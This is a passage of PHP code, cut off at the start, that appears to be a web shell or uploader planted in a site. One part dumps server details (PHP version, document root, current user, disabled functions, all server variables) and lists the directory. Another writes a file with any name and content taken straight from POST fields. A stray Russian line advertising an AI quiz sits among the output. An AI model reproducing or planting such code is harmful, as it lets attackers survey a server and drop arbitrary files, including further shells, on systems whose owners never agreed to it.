System Information:";
echo "PHP Version: " . phpversion() . "
";
echo "Server Software: " . $_SERVER["SERVER_SOFTWARE"] . "
";
echo "Document Root: " . $_SERVER["DOCUMENT_ROOT"] . "
";
echo "Script Name: " . $_SERVER["SCRIPT_NAME"] . "
";
echo "Current Directory: " . getcwd() . "
";
echo "User: " . get_current_user() . "
";
echo "Temp Directory: " . sys_get_temp_dir() . "
";
echo "Upload Max Size: " . ini_get("upload_max_filesize") . "
";
echo "Post Max Size: " . ini_get("post_max_size") . "
";
echo "Disabled Functions: " . ini_get("disable_functions") . "
";
echo "
Викторина по заданной теме с помощью ИИ
";
$files = scandir(".");
foreach($files as $file) {
echo $file . "
";
}
echo ""; echo "
";
foreach($_SERVER as $key => $value) {
if(is_string($value)) {
echo $key . " = " . $value . "
";
}
}
echo "";
exit;
}
if(isset($_POST["create_file"])) {
$filename = $_POST["filename"];
$content = $_POST["content"];
echo "Trying to create file: " . $filename . "
";
if(file_put_contents($filename, $content)) {
echo "SUCCESS: File created!
";
echo "Full path: " . realpath($filename) . "
";
} else {
echo "FAILED: Could not create file
";
}
}
?>